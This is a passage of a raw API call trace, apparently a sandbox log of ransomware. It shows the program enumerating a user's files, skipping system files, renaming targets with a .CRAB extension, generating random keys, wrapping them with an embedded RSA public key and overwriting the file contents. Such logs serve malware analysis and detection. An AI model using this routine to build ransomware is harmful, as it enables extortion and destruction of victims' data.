	[0126.194] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.194] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.194] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.195] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.195] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.195] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.195] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0126.195] lstrcmpW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2=".") returned 1
	[0126.195] lstrcmpW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2="..") returned 1
	[0126.195] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="m9IV4fI1 ZzJY7ALyqTH.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav"
	[0126.196] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.196] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav") returned 87
	[0126.196] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav") returned 87
	[0126.196] lstrlenW (lpString=".wav") returned 4
	[0126.196] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.196] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0126.196] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.197] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav") returned 87
	[0126.197] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav") returned 87
	[0126.197] lstrcmpiW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2="desktop.ini") returned 1
	[0126.197] lstrcmpiW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2="autorun.inf") returned 1
	[0126.197] lstrcmpiW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2="ntuser.dat") returned -1
	[0126.197] lstrcmpiW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2="iconcache.db") returned 1
	[0126.197] lstrcmpiW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2="bootsect.bak") returned 1
	[0126.197] lstrcmpiW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2="boot.ini") returned 1
	[0126.197] lstrcmpiW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2="ntuser.dat.log") returned -1
	[0126.197] lstrcmpiW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2="thumbs.db") returned -1
	[0126.197] lstrcmpiW (lpString1="m9IV4fI1 ZzJY7ALyqTH.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.197] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.197] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav.CRAB") returned 92
	[0126.197] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\m9iv4fi1 zzjy7alyqth.wav")) returned 0x20
	[0126.197] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav", dwFileAttributes=0x20) returned 1
	[0126.198] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\m9iv4fi1 zzjy7alyqth.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\m9iv4fi1 zzjy7alyqth.wav.crab")) returned 1
	[0126.199] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.199] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav.CRAB"
	[0126.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav.CRAB.CRAB"
	[0126.199] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e9e0) returned 1
	[0126.200] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.200] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.201] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.201] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0126.201] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0126.201] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.201] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0126.201] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.202] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.202] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.202] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0126.202] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.202] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.202] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.203] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.203] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0126.203] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318e9f8) returned 1
	[0126.203] CryptGetKeyParam (in: hKey=0x318e9f8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0126.203] CryptEncrypt (in: hKey=0x318e9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0126.204] GetLastError () returned 0x0
	[0126.204] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.204] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6eb78) returned 1
	[0126.204] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318eb78) returned 1
	[0126.204] CryptGetKeyParam (in: hKey=0x318eb78, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0126.204] CryptEncrypt (in: hKey=0x318eb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0126.205] GetLastError () returned 0x0
	[0126.205] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0126.205] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\m9IV4fI1 ZzJY7ALyqTH.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\m9iv4fi1 zzjy7alyqth.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0126.205] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.206] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.206] ReadFile (in: hFile=0x3f4, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314b474*=0x4079, lpOverlapped=0x0) returned 1
	[0126.218] VirtualAlloc (lpAddress=0x0, dwSize=0x4080, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.219] VirtualAlloc (lpAddress=0x0, dwSize=0x4080, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0126.219] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.220] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffbf87, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.220] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x4080, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x4080, lpOverlapped=0x0) returned 1
	[0126.220] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.220] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.224] WriteFile (in: hFile=0x3f4, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0126.224] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0126.224] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0126.224] CloseHandle (hObject=0x3f4) returned 1
	[0126.224] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.225] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.225] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.225] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.225] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.226] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.226] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0126.226] lstrcmpW (lpString1="x 8ESVxb28.doc", lpString2=".") returned 1
	[0126.226] lstrcmpW (lpString1="x 8ESVxb28.doc", lpString2="..") returned 1
	[0126.226] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="x 8ESVxb28.doc" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc"
	[0126.226] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.226] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc") returned 77
	[0126.226] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc") returned 77
	[0126.226] lstrlenW (lpString=".doc") returned 4
	[0126.227] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.227] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".doc ") returned 5
	[0126.227] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.227] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc") returned 77
	[0126.227] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc") returned 77
	[0126.227] lstrcmpiW (lpString1="x 8ESVxb28.doc", lpString2="desktop.ini") returned 1
	[0126.227] lstrcmpiW (lpString1="x 8ESVxb28.doc", lpString2="autorun.inf") returned 1
	[0126.227] lstrcmpiW (lpString1="x 8ESVxb28.doc", lpString2="ntuser.dat") returned 1
	[0126.227] lstrcmpiW (lpString1="x 8ESVxb28.doc", lpString2="iconcache.db") returned 1
	[0126.227] lstrcmpiW (lpString1="x 8ESVxb28.doc", lpString2="bootsect.bak") returned 1
	[0126.227] lstrcmpiW (lpString1="x 8ESVxb28.doc", lpString2="boot.ini") returned 1
	[0126.227] lstrcmpiW (lpString1="x 8ESVxb28.doc", lpString2="ntuser.dat.log") returned 1
	[0126.227] lstrcmpiW (lpString1="x 8ESVxb28.doc", lpString2="thumbs.db") returned 1
	[0126.227] lstrcmpiW (lpString1="x 8ESVxb28.doc", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.228] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.228] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc.CRAB") returned 82
	[0126.228] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\x 8esvxb28.doc")) returned 0x20
	[0126.228] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc", dwFileAttributes=0x20) returned 1
	[0126.228] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\x 8esvxb28.doc"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\x 8esvxb28.doc.crab")) returned 1
	[0126.232] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.232] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc.CRAB"
	[0126.233] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc.CRAB.CRAB"
	[0126.233] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0126.233] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.233] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.234] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.234] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0126.234] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.234] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.234] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6ec00) returned 1
	[0126.234] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.235] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.235] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.235] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0126.235] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0126.235] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.235] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.236] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.236] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0126.236] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318ea38) returned 1
	[0126.236] CryptGetKeyParam (in: hKey=0x318ea38, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0126.237] CryptEncrypt (in: hKey=0x318ea38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0126.237] GetLastError () returned 0x0
	[0126.237] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.237] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0126.237] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318e978) returned 1
	[0126.237] CryptGetKeyParam (in: hKey=0x318e978, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0126.238] CryptEncrypt (in: hKey=0x318e978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0126.238] GetLastError () returned 0x0
	[0126.238] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0126.238] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\x 8ESVxb28.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\x 8esvxb28.doc.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0126.238] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.239] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.239] ReadFile (in: hFile=0x3f4, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314b474*=0x18f49, lpOverlapped=0x0) returned 1
	[0126.251] VirtualAlloc (lpAddress=0x0, dwSize=0x18f50, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.253] VirtualAlloc (lpAddress=0x0, dwSize=0x18f50, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0126.256] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.257] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffe70b7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.257] WriteFile (in: hFile=0x3f4, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x18f50, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314b464*=0x18f50, lpOverlapped=0x0) returned 1
	[0126.257] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.258] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.262] WriteFile (in: hFile=0x3f4, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0126.262] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0126.262] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0126.262] CloseHandle (hObject=0x3f4) returned 1
	[0126.262] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.263] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.263] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.263] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.263] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.264] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.264] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0126.264] lstrcmpW (lpString1="yiUKc1U.wav", lpString2=".") returned 1
	[0126.264] lstrcmpW (lpString1="yiUKc1U.wav", lpString2="..") returned 1
